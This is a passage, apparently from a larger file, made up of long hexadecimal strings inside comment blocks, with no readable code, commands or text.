25a280a3673a3acf9eed9878c332d13d68536991452d911ecfec0e0d273897b28ed5ecb737727e6de8dffa7b294f5c38c765d96bd1ce4cf041f7ea56d653d39bb388c22ee2fcf1c82f7286e5291a0f3d48d86756da60d1e2f286920ebd17d66217e2d081830c66c1727a65241801ad83791f2d0b5629156ffb36b338c11e91fb518b7b1f09023569a3cdc22cf9c057ecf16ca4609847da9192e90d9210fa8710ad98880682e8902703b91a31127595aa844bbcaaaf9cb9e7b1d771f22affcab7b28de09e9667fc8fdf30b781cdd97e8ee397268aaeef064ce84d2beb4aa2535113dadb8668216f2a9c6e8a20ddc6787bd4d6be95dd14830a1182ea08af166d7f1795da252aad41b4cd2a07418cface4f496831903fb280ae4b8e3c168f3f91f9cbdc9c7b3da80431e237351eb0d071732fdb67441bf1da713bac2e07b86a9889e76e841368bd6b39967d66007dfffdacf76864602ca82138006155999e62c6b58e9ebe5e39d5c2cc5ae8b15c25906746d86a62d06f59d3c48f5ce7d9936ea4194401751fd2c9083b631d9d25018a042ce4003afa93a4050c55d002801e069e01c9092254b6f1e0178f1b15a7ce69e18ea584523f0018e83056b7d2635ea8d66e36f4c6d6b9b8f952be6de32a0a4254223a327dea9d257e886d845d59d80fe30a3e077a6dc46fe6e5f82876e3ce7933372a8c8cad86839f6e369ffbcecd12cd9fdf37b8b45bd54f52da8329f993b8bbc405fd64280641715e5252b8ec0dc92bf3dee3fb0fc5eda1116b82348b6dc0c2af857d7316c6ba1ba98741e15d65c8246225370917b81f6d384651e9b1b31f815c73bd931ce88e3afcb6b9091bda2bdd5ada027437b57f966cc9958978c142b383c551a014bc52526c380bdedd9264c0ee9b272997141f2f7a6444fe00df39d00ecea8b075e9659eaa1cbcd5b2fcbe123743f2ffd6fe9dbc2f453dfd0531919ed6e0492f2bf8d3c6c6f9e0b4465071b2c8a69a0933d45d0bf42db3dd7e13545f024c4b06710671e852284e66ef49d15c36a68f55c24db1ff8a3de7e2c204dc89b5b7cb8b450f3523f53a84f48932dd6776093b0f44f2ec66877d770f9b2d77e2bcf4893c6f02375e3f828a3c95e6fe393e05ba016239b75bed19499b0b743df1611422520013312320ba5dad73fa43babd8ed91116cb559fd29d97a194e085d695f0b5b1ad1b6dcf0eaba3f9661aba4665cb874709239a3ec8f20a613309930fc83f817d0e616fe442afecb158f6a465417737ec777020d740cb50e484bb3063938b5718963b69c2904f697af30fc2225f7cb05f2da209cf3d9c132b08a620a31e8573299dcd8755634b5a818b382cdc35b3b65bf86193912f9eeb8405b370e468f2086076811927ef811258bb95777b214780d8aca6979fbc187a6091535507f01ea2fde209a9e84c44140d38d202a08cf2b1808a4ddeb5f8ed6f10d84b27df219caa1bda3d9e182*/
/*41a1fa7798ff68a176e436bafe5b29e7dbdaeee9c22c1851e3623827efd0fa6d864810c2c81aff6a05c1d0fcd59ad9782882dca515a30149f00184df37e132b8ccc299cb85acb5ee3c4829ef182190e22f36ff3ea5f233abe9f40f9cadaf3bc3a60ba9ecefea124d8642c79fdd8feb4c429f19fc10ab83a358cdd9b7bfd436e536a91fb20a0656a9699a3a4af6c8b6c4fe166800dbfa9fcd36069d04fd2712a504ce7fe5b9162de94f37fbf8b3cec4c2f6a0445dd90de121fdcd8089fdce98e5bbd5b27470e9c115485fa1ba3fc7a2b1f6c3f3c3d7ee4ab9cfb167e1210234cf09dd638ef57769cf29e9affdc3c15cd30c13e04434e55aafbbf13e7e7896447c86efa6ac50bd408d91890011242c5d966462c5dbbc0c67ae4873ff1ab3025d9416af25a549e79b0c39d27e15c15731b8f2bea97c65cecdf2c51d86d9fc70ad57ad145051029dc940202f4df8f095b853bc68332a096a16bdd9e0d140cc1b3e7b45f6d7f382569f9f735958ef4098cf8c25da04be728386b583322cc248f9971c880f837b6499326891fc79cfb7c3028b4003bf0893421fc5661faf297a9ff1d12dcdda2321d42ea90f2e2afcf11f15c8eeef02838f3c58edf9f3096f3d09bcf6d0ce170bf65eedf9f5e2c67f4bd923d142adb27caa543529f7b9a0a95835c8e40cf4e1141608f6955578174e5564d120b9a57fa43a811ef46a2a561a319af8819f125a9eeea5cd0c5edc86364650846ba175da18938fa79d615a6d6d202b840400275680739a38d77e62f5abeac203e0b3937c4d5a1bb7b712bfe50ecf2234d056131f5f07178c02ca4737a9b8ecfbdcb8741af4e2e9e2c11d7544db495da0b102810e900104481710133c5bad629198f9d1a80d4459f4b92a037495947f55e705d1e0e6c3da0ef8725dc32e6c03b9381091a2bff8d4877e68b638d3cb291e6004785cdaeadaa23050be82f6c3a87170932c1335d8b0181d6f0fb8bb3e793c6c4d5113c745af1bb3b72b82a17ce0c48e2076d66bb1f50bcc6e369449596fbc9fd8ac9b3981a9f9cae55b67404ca6f260daff4a4e5707c824c55ccc84ab75835af41d9c1d32f5946c5550a303f99fdbed9190b26bb1f0f92dd3febdc0b6fcacd1de121ea97e133556c356a1153d6140a54e78379e929f26ae201e8f15184abb21c13be34506b3c4ac3223983c868c350dae2d541892e85f78ecd1e2e6625c601e4c4aa5130bdc10110f68473966b0ba630e892afd5add24e790d7353ee0e7ab9ae50ee53314a26ac50b98d2d3759000c3dc85bd0f8c7c572891559346e4c4a63472ced696e61b38202323fdb9cdb0475f371884478181ea3cd2187c7f355987c4df8b838a7781fe14cfdbb031567a5a4ec0128044ed8c22f099388f3289d4b421aab12b638322264a32f627979f6507ca180eac1a3e0fc3c63cfdf659fe60cc07d1338a955410ac02e59e146c73a3a6cf17302731e172d31ffc409078f42fcd2d2963608424e2a0ef034860e2a2254820c156cb6ca91e82867c3b7c097b370a899b0e9b50426b0526eddd205338920a6528aca6dfaac155099c4a61554413e059a3c3ce6d27480aceaabd1bc9f7531b63ae22ffab67d2f58933bef66dafc19977e31cd5dffca9e4095bf4bbbeaeb1c9ca612bd6cab45a1d6ea121bdfec2529666cf943be6944404380bba78a130d9089ae675e6f0d1cf4fc842190bdcadb90315fe7d1a2121b28b024bddc08134f5a5471e287cb4a1ff4a22a57d7051c376229f3e777832fa80ccc10003d9f4ea09572371f746235ee8f2ecc4cbae4290df5587049fe893e57a911768565f809d0621da7a07ac556ad59d98924f36c64add06543e0d7b9cfd827d94e47936d4048602eeaf2bb4d4a601ea39d89e9b907270c9dd89ddaadb074b168813630dc0b1828c260776438b0c20219b51585084573d9cf8f3ea1b4713887ec983ab5edd79948e2068fc5f68282820821e35725eb329f707325afd9d707019386d411d6cfc6f71f7b90b5af735e5ea4d44666cf3efaf57f4608bf464c5d0dd72208cb02c91801099f58269126b0c1afd05e3ad3b152465bd39a735c783ebe2f0191ec3c354c3e2bee8a3ad92aedeee2f26f2bc8fdb4a31a9b745388329bb7167655cccecb2f1be19805f04e0b3ee46d09ccb4e19d2357a59edc7b7643363c324fd453123c67f0988b84b4ed12b88125f827234f094b465442f634bba4d7ff6a0f621b4d75aa911ac80b21cc0cb8d92bc706bd01eefe7dd319ca3ddcd2140216f6cb379b6ecf5ecb3de345db96dcd2e651d5ed87e1ba1da41a40740a8312a5a19a30455640a63d5b808c8215c1ffe1f20cf02c988eb3a901c379757cb865292eb17ca0150de09cb4b04cfe1ed8c07677f8dfe1bfc99c89d9d2ca7c5f09f2c565651a31f3a7b2e97c263d22abf57a226581792ebe4ac931b0457bba39b9b8ac26d97c0b79c5953011d29d54aa17ce86544bc52c0491849d51fb4e6c2ce3dc882ffbdae5192dc9d3d374c0875ed0e68d6e39021a8d32c185ab812fccb7e940dd1365dee9563cea7ff27fb8e3104357918bf068d2a81eabd7631c654af36dbc57804449c42fb80875ebc5dfe52f80a68ec3c3a5e6b56b43d2d07f0e2024923937cc58466196da5bfd4f96554634915c655184a1b570cd36a06633302a0b5f80bb7ff41406d9dac63e8202ab335b44e23ae20df2548c23545056b71187e319f15fb4f62225ec72ff8bdd4c522577d72931d4489eaf3e9ef26a7b2ccea198e057e849413ab86c6f1716007c1b89a46f20a18fa1311acaebe38002990bf7f6bc9b6781b3ca621be9cffb9dd*/
/*d4f8a8abc5f65e6026c126226a574fb71f56fb2314446dcd88d3609c40ebf6496366f2fd67222ee358cb011ace26f8446cfc4df0189d085b2f5539b736b5c1f09846d03bdebc10c5a33191c82f773ccb22e2f57ebb3526fca7b0a7f17a91a6fcb3abfde4d60e643173dd020b65ff331344ba6e36e5bdde2029d635696b5c96073ce91f8a7f7aca3811701ea5413a1a240346fc92c7ac4e8e3e9e42176249bb009336b02062c7bdcdd077a0788dbc436b98d88cfbcf3516ec9e3819795fa300798431a3674beddebd1f149485e53cdd18af0309b4421c8ccf2ffa6cf1460a3a3a08b3dbf81e16d6e8f007565bd2e7f293a9fc2d5e654106b44ec318b7eab6c76a43fc8cb06c4de552cbd515238847a4cb9f0fbd3e2ab881445e6af87e638a22bfcd6d53bfc3511261429c76095b87c7b472e22bcc1b4d1bc1602c23a6d3f9c355431a8959ba10c6d7f764ac78d509cf0f00ded280ee23c21109e19ac7142f9dfbacb512c16a9b468d7f9036560d15582358e6d11ed692994ba61dd9e51daddd487acfe27404a0017fdee3e2f3afcd54322082af7ebefd26f52e1c1196d0c6c1fc341a28805033c0d29a0ef01b722f2d0826cfe29fcd3aa8b0c03ebad7c9e7aaf9a72037d8ce2c804c157528f0f20781a9aff768828bffc0865465a1b751f1b25e7ed4b0a0d7ff7a605833e7912ee6262541c4488eb6520448233d661ab04dd4d9ec09cd2a99970e839e2a8fa164ae3ae6e9798be41f6d9b767542c572eca06d7b9b9aa437f41d0eac8b9ea6798283ae2227562208551a9543000cda0b8e116952f76aec2d30d4a6325a8f5f1bed21707764bff9133dfb1aaa9e678bc98c25783e05ea8998686da440f6bf511d33ec6460e8635a97adede6e9143c6d0d0c0fc871c6f29a36b5ad1b4d327107b9945fd0dbee98e5f3e2d5637279fcca89a45765c2df6a1c1da7ebeca1b5c6f9d3e2e7aaa281cd6c68df1d0bd28cdc7118e57eb9396a90e766da9f6ed07d9f1cef18a3d2a9d0e776eb7d7e516a7cb25e46f5e682c1b5f5c86a6944d3aced4e8336027e9b31d609f2e41c26125309d20f84163dc666d78edaf97416991d0100e98823c9a0ff2a7385d99a4afb73deb93e1f37a3bcbf268c383127d8b7b6dec97fe981ef3d3fa0b13f70af69a0afc967c936e23a55b96ba38b25d5e58b555f44d72421fa9a023a7f3b7628521b4110df231cc668ab6b596ea1ac73b9c33337397e4cd204dc4bfd7f5c6b345289b397c1f577ed266b55c555dee7b1d6070d50b3d505b7e370eb9002f668e343834bb5e4b6ec1c5a767e9cf3ea12a1167f06e0b2cff65b20bfc6d7495adfb5b502b8983bdee0e85d7be82ad8dd20a2fd9efdac1290478ec570b7d4591b85610fe45c18d978758a7723d7eb597d04e3d67e724d2a434b97425f561f8636bbda44abed00607db2ef23ca70b3a88b5289eb1fcbb2cece1f877b89fa4333c1fbac264e7afea93331e4be17bed20e91cc2f2da6baee033306c9ffca787681f46237c782f4022e3fe87a8ca0ba57c48adfc3c47f3aa0a11d65bbfcb49cae3b395e3ffed9d14b1130dc85e6a3c6375a48a041af79e0d215d6d3bdc803869a870a440dae99bb8cfa630451eca8dce0fde906e5a6abec136e757a195fb4e6939226b67c7a8c13fc67d8e4a45fed604b37580583ccdff19fa2395a4a35b5177d46c37c23d8a15706d80129e02c29b09acedd59520f972c92054b8070af3fe82040010ddf0e4f549034401840ac1914a296e6a2a15278d6d2ee2c4856b880546622fd24b87fc196b3d6cffee494f8c05916128970621c8be749d04cc1b51bdc6cb58ce2ee5c3109470c4583f696b4393e287b7fd8303734a567f7bd9e3a4be5f3ebc8cf0c3c8daca69c9e02335b3a01b3856952654af909c51589915dcecb2f4ecc01f18ef6480d1c775572770b2b4a8dc3d821c449e7f6787fb23b3fe1fbd0551136dcb0a67eac232c7605e8e2e3dd10551cb87f6c90b46f249df9e1195d3ec1e3e262a4ff1751e7698435c975eddb53fc1837b44d59a3f1dcb172a7b9c7031b802fcc021e9fe57ebdfb2baa182a5b8b0f74c27ed3b9c26c51ab63f53d3f97b74f80401c85e08e6e91c9670630c3d484c7d89292efabb85b0dd03a71e9772be588e82360ab70a286a1003854e4e3b2b9aa73a49ad1533603fa45204a91897d87cb080f4edf47d966078b069a8fbcf559e85c49177f34a73c6d39916c46035f16e462ee8d99f5de54f97564cde0a812d3970e8825e1a9a6deac833c5786c621c43f38991c41530869a0987f97a5094e52ae0107062d79661858380c56706775d9e73fa1d67b4345ce6203ae2b2fc2b179c70c4f7ec9e49ad4843fadf28b30338d8af0b37a64aebd1a29f082ef77e886422afd747463ad506eaeaa8dd0801e16a12436a6b5001141e6bd90219d0466fb10b2444cf4177f602f4dddf76707e4a4d48ff68c475e5a32e6b4320f0531643e70b2bcb59ba367915a9fd8b304620038ed170d6d1198eac420ae726b1431d611f1146bdf3720975d12822c7feadd87c0988e4336bed6e4aec2d4be5c9a8e3b038768a1d7197111d0326f21390678b3db7871a1694ee5d9eb71a57037246d0182eeed7bf48406d63ffaab0dfae48ddf5b704e4309706f0b7af238da8b02bd8a70ac16b63a8c387150a9f512f13c4f05c0d761e0f1ef8248fb027a72d7c70d64895bbf2193eed20c228afb4c0d47592b9ebba95aa0f0f775a3a26785905cea71fd282b5ff7ddaa95b61a0e4a1d2d839c3929adaeee1aa8976c559d6a848a40e8e8089b388221a901a8ba9b755a71e2b582*/
/*db55b93d9c880d90cd8fd24af1656e1ba39382942d71984343fa181c2ab6d73762aac3dd9c02014b5103287979353018cf17ee7c11b8e22b875652db7e1367e46e569123da70c50f66a5a961cf991e7bd57e0e5f41b5071e4f3a9f676416f59eb28ec95f2adfd6cd06b9735a80410f19e944beae93bf08e58a6f952a3513f9a4532c265b0f372a1da54a8995809b560b56b42f6fde82678cc7a3a853f8715a986a1a4071a4db7c153d357db33888ddd8ae68e4d1c943c6a65c2e124d95fed7b9075584277e740f94402d35d4a8a9ea80c5513ac1b927c479755458a05bf9745c150db190a546cd3efe78a113188d6fe7e9d2ef13a9e2fb8b9943c223190f4e933f62d87b5d418cc5cbf2cd1a5bcbd24072f4d529d744398eeadbb4fe6a3c1fd8e9b1f3edb122de14ee8a7867845fa59304b7069b5b941ad82a1ffaee4d9fbf2c2884ee9fef101fde09e0f4006671f439222ffb073fe3b03dffb7510030fed1c38548cd8fbb9cafc00c458232fa1e723a31b9bd885f324ce41980283680b7001930260cc33278ea6e18da2e4849acae0f9540886c99dfb6ee897bd24eed7850d3bad9534d3a91586e87bc925cc81f609a53df4883f6ead3c0a9b126b9cf83c43276511ade1968f2f61942bd1790e7fcc3a24ee56461d8a6b2011dd4a1eb79533c37e9d0c184b7429b6436892165a5473007135db2f67d63627ded47c39472dbf08e253e79d79379cd9e5ed1bdb94c4fb5e4304d010598c1a6b553985101a461c15b8470adfc7abe465911d52cb6e4b41c00b676e11a53c143fc6066f16e1e260cdc96725c2938ab158c892e087c1bb8924443a245e6efc4233f4f8d882f0c94438d3895740fb1309c9412d3f9c238cdb91e4812f720695a6ea788199444025e3cbc68b8579f8da9928e850e116a662cab6b5536890c3137478f28366a5593e224b7403d5680758d81f883e90b71dc70430e43f75d1694bb5db0be06908d028e0eaa32d5e43fbc5f8560d78876bc7b08264f22e9ae2890a22ba087ca8432eadce273b357ae03cc88e3a6d241e9bdca7edeaa669d0e7cb72a6068d41addb0f00abd0e34099f267fe5b96dcf3dcbfffe46a1bae5ec79775a370870345efe65c7928a4f419bef63f410eba7c0e7bd5e1e2044235e4bf12d0a394e18d8bf7343fa03b8ccf556bcab742bc879220f0951365f71dd48cacba6aa650959e0a289822cfcb3823931fecab59471b8db5f1c28766be4f95e09fdd5dc4c99c4271768b80ed633642f201110815586a089e872895807ac997032c3c0655e7cbab04a2dcef5c69023b1a7c0921e99f10f0c13202f8df7751d4db98d2e48baffac451661b33ad20fa88827498ff76ff10513bc1c193bb18dca5cf5b23990bed0b4229c2a2e0bf5aec8ad08e124e16da53564929b37c8374e8eab9e74b98021c90a7805c13abd5403592f1c3aca6ea8ee40a0adeaa0896e3487fc43060146a060a385b6a147168643fd365155e98b5636609632c59cb27579138351a6139b6a2a16660176672db72eac1d5e391cd6626b183080d1211ad6e145efa2287f4f23a9fa7f27d54464febae37ce83a47f7f86ac5fd443646f882503b66b611874ea6a1a86a4fa19f8ae5ed45e431b005f517dc6bcb1d09284c2c74137fa788e4d45d04c93618b273a53a21f8c64b40e9611f6d7e33a76c1834721998fbc7d1599ecb183b9c2baaa745e3a9494bb8fda39a75afbf8bc5ea08535207cc15d07a234d23b1b95da08c8173a3c600890d0f28fcd35b53eacedf38df2769f2929599bf2f9e1332a9af7556a5e8166f3a44c888fbe3e1917a57b4cc9c13562615b26b44e8295ab5460bcb1f5c509675531c7844a520a2c06a9bcaa88f6b67247e8127836cfbe4a988bd2b01a4b3beb696cb882a673d57d394b04faced26e62b2957a82fc631da7a00689f15356b43da16ae9194a6f5244ebffde2026c3e8becbc3e1bbfee32222e51c0c2cef72d335e7c29183228a8cbd8921339caa9cc969900714cb988acf597e8e5e058583c138df05abf99684644c4fb48c59abe54f38aae808ef01166421c3cc40641f2fbc859c882a28f8067e24b4a38983e9832794f550a8e6ba8a542ebfc56e8b3b245e6a317b98c1d1993f804c37759dde8a7c00b35ca598f8e188784211e4a0cd3c1e410ad613d9c26b3a79c6e877b713a69b8f720010798372fc257a149208bb7aa4c429cf5e870afefc0e27567e6e44650e6cbae1c75376abc1dcec2efeae315bd4c064578a0705d3e598e63c2d7143e57d91e1501ddfcefcd376dc926cd0d3e9f0814f0f2730244b1f8c3db1e3aa2a2df380f89ea99e32ce9c92a2b5afdce210aa833bad57b75b8732fbb59184881c87746cb021f905ae174e20aba5ac0fa42916a895bd452a7333723af4c82a488f17f069a2d5c9cab7d2df53687ced19e54ee059de79eaba2528c67e249af0d37a1eb5f512856557ff88f3b549c3839600f61faa7edc974ce8973a907664463aea455a53939d1973d5634970c268b2605c4f21be5f3e08119ae655184e6fd699811fe74885a348526b27f017142dfcace2a51bfba00117756700da7f599b65017155d94f29347e483d14adedef2b3c51ebde8ad0abb9e6272d2747d33515a59e09955c59f797da92a7aca28c8e82cf80be94ee63ee6ad4ac84329a906b6cb2c7b17dd38f784b97db55683e1f4f9e9e8f999c0330358f541f30e7914299ccab79336f9beb984811bef516a1543e183ed43229d123c3cf3f1d992acab72f175dd2d6d206bd0107a810e065df4ad16635e86a09a34a0c2befba70420ef8945768ae110d079*/
/*0a21ea928bee61260863aff4095071fde3236e83bf1875d8c878f85102ab442be29856edc552892f8d7ab26e052061449244c1e0dc56460bc96d02c81be9b35ee741028255c70b651fa1620d5b5e403ab29deb2d72a7e48b82147fb3d050ebba815877b806d54e73bb6ed020e97dcace73695b87d229c69cea6683ad4cb28482e1640e8b5cae55ab5ae94f38a2535d87460ed765bb727c85edff739e33a470295157cf1306f7c1ff7759286b5617834cfe6067d5286b1799753071a7efe19af2d1cc1e12677d62170e7a03edd4ddd712974de2528409baeab68f98fade99e9ad1aca2eadd3184990d5338e6008f6b40db245758d34c3dc1418a406c9cd10766484eb3c5b6daf5089065cf0546e7362ff3fa41d296e7e352eae59d3dea348d0effa97e62925d730d97b1e5bc2a45ba75128c68edf15730cfcc2316cc6005673c8808bb60dcc2f396e3d456b999321d63c9d50d55c9e209982a1c34c55650709402341ae5653e65e685612092e57ef45e81959e3c6c95b7a0da915cafffff2437417afa9fc30ac7fee6e491076186ab6ec146337ad151653535ad34eef55c13ba591500dab5ddcba868ef9e17fdc4c9d8c31f29ae5f64566aca2452b51345b0a425c9e73f5a4bf597d1e2e3227f20bbe1f68c9d49fe4bd4611ef010489a2264c912e6c02df8f4d9853fabc784d2f0d3d064b55d7f9c810ff27fdba44279be7bce1b96d8fce94a24b0132250625a3355224f5cc8a7f1542bdfdd517adaa9e4ce6b71a82eef9484ea6e0306784b11aadf624ad2f63e7a26f682fad15515c7ab14bb56eda948fd8c7ce151979c4661054853235cfe7a85b1351551aceb5a399d0efc5a1e591296dbe64b843c3435a5485a76e2a54e29d0afc5386c8fdacb8f33d8583354feaaac1c7eac9e5e04961999f19473d38296c3548a9c37293540dffafc0085d28b4a2000890681bd506154c127a3793369b8f050cc7f961ea343419dc631f5d384ba11a8977c79e3eb5aa5afda3df4f7768a19207aa8beb3613c97f3780e59e80f60db068503ec3df5a980ff8a6b7002af8224316be86b825eb485ce79ded0460dac6b103d9fbac013f3adeacb60c8814d5b9cb97fd4ce1602b784fcf8b067f0b5911fe57bc6e8d3e665de5d97bb75f5f495fa9175011445b18208c81deafd258b4e1db8c6b7aad98b5a90ef4b063ba1137ea013b8edd5f22465c0c105d79ac53c5e0b6d6e892ff3a93d1d522f3e7cecdf191c225071fe347908adc4679be7712e46bd4a6d8edd1e24c55e4b345f1a9a9c2226b805ac69e4339393634bd453092a7a913f17ddabc258c513df0d85311676b18cb79cfe05bb4d8ae54852b12b8b407be97a4ed83a3021886b5b3798aef0bd18da483f1df655f7e306e3556316c6e5a0e8b91bb3ea564259fb1f7ffac04fde94270a21c05d9633aa62ee0f6a6853367fe8bf631b87b591d1345581264f274ab28eb2e7ae957c24c5d78b6cb8d345f81a5ddc88742e9d60d1b9b026447029049eb785d0fb186e93e8c8db00df08d2ab2307ca9c2090d5c8c9039abc6d5bf428b91d4c9497092c72c43eede5bc181618edcdc48e2efb407c81f948c64927882ae312fa2bef0f19a469b1914e28ee1c6e3d3f7ce4d17efcac09f9dd0a0fc5a075d607f5575e6af11cf816c0b3b92fffc8fd845ae40ec9a2f21d75b9fc241fff482852ea0ee7160f50efb423c03cfb31b6558f2a27e2d7cff5b43dbdf0d2e96e6ad997f17b016fd759ad4f9638902b5562d76350d74ddd8097fe4a6e878106b7b5a81846425d54138efef182626fad2f30f931a5d5c8faf5718af7bc2c87fb7d47d9510539d286d5bd8b2667bcbc8221d1e6d3885afcb6cd22eafc37122b433ce7c2fcc0f458dc41f2d3e1945147d42278a310d27d42d208169e113e6eb0768c16f6512e204bdc98795fd5a335a5f26c1a65a9b245187c19a2015cbaf531951c19b3a0839d20713cf0cf74e9dfb2fdcdb2ea1852597e1b25da5188795b7e24f03f720968f04e99d7c168d386fc117b92974f087e5cd1af7f36c22f0dd320d62e22aa810597da901d4932ead280590094e14fc127f2acfe40f892bea6158046ebe724840ca038d0678d8e36f25bdfe6020e8b512a5fec48f8b230539f7875172bb22c89b045b52ebb237223f696e8161e44bdd2c685cbfd994c22072b0441815ad08e786f70a9cbc310dda4f30fa21ce063551884f11f9fc4486f78b0ff83869a778e7de658efb418391816c0bf84e8b1197799ab973b24ee8be9dad3ea6836dd97735b3c8907fa6790abe4d5b2211ddfc4305eb71824f3e3a9001a0820460bd3481e3a64692f9dcb7c1234df2a135e8d1d30a57eee2230270e795aeccd77283c6b5cc442631975911b2fd7dd42afc38e49ad244cec554d77e2c6920a0a02a79c8e6e7c00d2420c6cd95a1775bd72cef82ef66e4a6cbe6f69558317b6192e01a917ddaab64d4fe43e250e449ef6c9b1fd38c0e515eb255e29a90239644268888db72dd10af38868a48f9ce69e07ff0ca12e2278eed2823d9a71ecf292051caebbbf151ab0b11e4a9fcfaecd975c8e172d5285395c19cf3120d7c8fb000e498d1643740ca46b5ec8f9ee1cdcc4daaad4a8e3fb1e94469df66894d6d539630b472f11c9889e99440759a00813c56fd0aac2ae3f0a9be8fff1d483555eaad35a14f660ac1331fe95e71f0d1da6b788ccbca0bba111b6841a01a525b08c98c37f94fead90f8faadc7ae1900028d800f118fac0219a6a9fcaf8ef92e76afe76e7ea32958b5b9b072d5a2bceb5a6452b9a0620401d99a99c99dc764aa24f00adf516*/
/*fadc153850d0c91d009075bc5edac9a9e2210bfbec7b272a61ddc8655d3c1e36373cdd81e47c665c5ed3717bd52c79b0ce405de313a29f74d300008ad9c751de5d5f5d561856ff5c6c844b71072c79fe2695ac0a40c1fabc119e0546367c11a24f65a8a3f022e20fca4d2ecb3937278a842a6c1362b1000e80a47a771e98815418d892195989330555305ae43c9d6ceb5c5e8ef098bf7eabe84f56091f8de93d3bb1c0b55edcdc4ee7d1807d0c4f3609057e91175f806594cfab70bcc6776e7dbb4c8ad181b5966983ddb21628aa4104d0455d678119daa1d98bbb0b3c97e0285bbcdfe9ed39fb85b0316f24c2477cf5ee13bd72a0c612fa644542b23631fa2ab0f644ef85b3af8baeecf74ae8e21599c8a38f18f4eed88357cf71be6630cbdb04f0eb4b4e470016a7d61655581dbfaa878df35ea394fa4ecdfe280739c0657bb00c076956e7f109efbf56417d113c1432c2f92fdc7572e8acc2b56cee0050d8494656c3f8e7b4c322d35fa9ae1f3f1367a29f6fda73e41e7a81969b69a3a923be57b11c51fb471fa9181a49fb5f9c7c8669e0f68e17db21fe46c88315aa4229e863ba76e9dc79b6eca1da5531b23c59c9b14e4fdf1bc738a801a803c8cee46b9547f9a14db319d5ae533b77a25549357fc7036271d975c01c8a9358e1588b32f2b09a4b18ed6dbc53f72142d70c094399b8aed893457c9f495b7084e1e5aea593ef1cf70fdf01b5de431b17206adf6d604b55bf60d490854c30baf763a48560e127719bad076c684cfc7ab046dc6288f15e58529ac5390ca7c4ee9ce7e39a08fcf9418791463c564fbb59d80a273027ebe19266b43571f2c3770f2909dc833eb72efb3f510dc2aac7bdbecb798e3252ee9ffc7166ffe97e81730f4ee8855af79a7ea4433874d0b2b5ae6974ce4c27259acaf41e694d8ad02cd5fd55fb081f533e5429a2e0dcc4fbbf3d3fa015dde47ac3fee7cf240af3e8d1b0b6539ce614fc31d8146462ee5ef4af10e49530e27a59fe94a155d01b1e5a4e18dab1d71645643e1e44894cc1c2491276c51b1f99a978d70db69fd2f420cedf2f6da5b03d2cc45c3a781d914670ee5932be4702799f1cb19f9e302fc44864c37109d790653fd8a2d207ac219f8db38aeb0fa23950e7add37190f2f515b92aee7342db6ced255149f3ed91b5be17f16ac87af951c080684c8dbfe12eeb52fb47fdcb96c4143d0d2c5eab39c940d388bf117cfcc6f9bf2375dffd98896c1f60a734ffcb640288b4ac573dc3584baabcc4906211750da8be1bb6577ae8d01cc80bb878787fc663e43f756f9e67f08efbd4ecca7658b450c92d77c89e9f963687a3a464923fc082951015d67c139cd9c04caec8abca3641c41d76f1c13957daf74a80c00b04172ffa07f502e865e442c4edb1d53400bb76216aba60d32ccb1546b4e2b1742ed4e6fb6e78966fd5bb36cfdcfdf6b54971332265da93147328b84eef847d1dece8862c9eeb31dc9bd56133d4fed104888139f5a6957f44a7d72f3cf536f61f338211dae6149726537f01a07f515d2840a7a61305eefa8357cb72c794aa689c4237093a4fcc9f677981dd7e38f85164792a25c4de9aa30dbf27661d6a1b7550a6ca17d0e0c3df26713cddd9599308700eb934bee790c789e9f9097ae00f97bfdf87cbcc36d994e14e837d241a9bcbbe8943ba497d340aec5950a85e3bc73d3f26a0d8fcced69177fcae6fc32cf1be0628bbbfbf87d9749ad7ebd1955d4f66193e910a16c9ea822aea38643292486e286f3fa61a43a45247fc1d1820901c693023fa7d3aaf7701de41535ff0253112d2d7edb0ef5cc2da414cbab4e2fffcf91bfafcc935a7285f771fdc546de315b1f68c65d5b1fc3c494d96e94d4516c99747c8e222b2182be2304f4ef1fbe43736bbaeb7f935a74c7c4ed55dee7b7208f136e51ecadb28b93347265514e91fe84d806bbb153047b40176137b88dff450cb62ba0d16112019404bc08c86f38b7c64294cc007f38305f66547144f796e93b07e2e31fb73a7410c6230fca5d42afe4cd72fdf1471bed83d7fabe5cfcd1b19a637ada3137b2e05248945d879bd1f08c86e20c5c162a5590d57bec9dd80d7697c3bed72b261af71366929c3bfc86e6755f49a4995d0275271009ba56c226d6f8b03254e6ffed61e2ce9aab1491df5baa7e84765adc9756fd7760068590ccee5aed0b5204df3b03dc47a5275e9ca112419a42f1ea909f8942123e9dac654f9ab0ba02137791d430df5863e36ce6369c2a31b1468a0db0dd015c8c33ce1bcac8372b4885a050217a4d11bd21be3a6851d9c2c7406c232af27228f49f7bbfe8d67a1e50e361c0cee1f883d3574fa5438d372bdc66b801e192e4231130d03edaa0f822e9f7f335990a827605e021c1c2c9d97d04b17c08742e0c0492b4496aaf3f2eb671a2ec41f18b2dd6e120640b4aeb3b99eb8215aaeed10f481b14162a4f095f49f2650f8e96d5f43227e1800b8bdedbcaac9d907134c5b07c20035f8ccca5f9ebb10697db830ea891093509b5512c9e9948a1b9299d5fb230b18422b3d9c3cedc4cc1a3f60590fb0bc9a2911a076d16690d6b8c08380cb00e6ff5ee4385fdc95324dac3747b429b59f43f52d9e15e4ca19fc9c95c6bef8d374d517710f808dc08bb1cf712dbdf9dabf056b28a5ef457e84cc6646d7568ed9a2e9dbe70226788bcbd58b10d0cb6a97015b24ee754835ee2fae3b28d60834041ae008ddf105bcf82c61a431a71b9ce560fde4682f402faf60ab2843e0ee36cb6cf22681849c307276c41aa04025403625b3b18437345985c5c31ce1e6*/
/*1f82adca32ae2e79e906f8ce0e55bde73374430c8dd1155b84099ac072a30da7722b7ca772a79fbae8aee9b8364ce714ffbccfd98988c50192e57fa757248e75f9be77532fc61d94842d8be9c0b60a336da7d5a5a1ee30abd9aca5fedf7b010e9c463d6a031bb1398853ee05d7e3ea5f6aa169e5448fdaf511a1c7cc0d74f65b09be8a442c4b17b3ec4cd882dd1a9ac163f2436ddadf2f98c534aacb641387bfc292dbc7ad9837a399a3ebd84283fc4327534271ca61e4a5396a52cd3b83beb1f2b1158e2e49e479cae9a06c1443d73edfb6aaf36e466c67eba1a1a8365bf46685f0674155b7a35c4722daa9ac1e54438632812801392f89bce854809716a93b9cd88273ce933383d8a8ef92d090233fd2ff6b2937060b53d7dca36129647b4b74b1195008141cd50b7150b377b2b978c39fbd2a21ca6eb2cf8a4f6266baaea9846603a666f9d9be1383af23580c452ef08be3991fa9719f5004d856abc79dddcd20d1e84295e8b51a0851908bd7253b16df474177bc4833bf606cc30875ae49ea2fc471f4ed60bee35bb7bf00c7b0559b74690958cf943682b6dd9667f6a4f8c0f9bb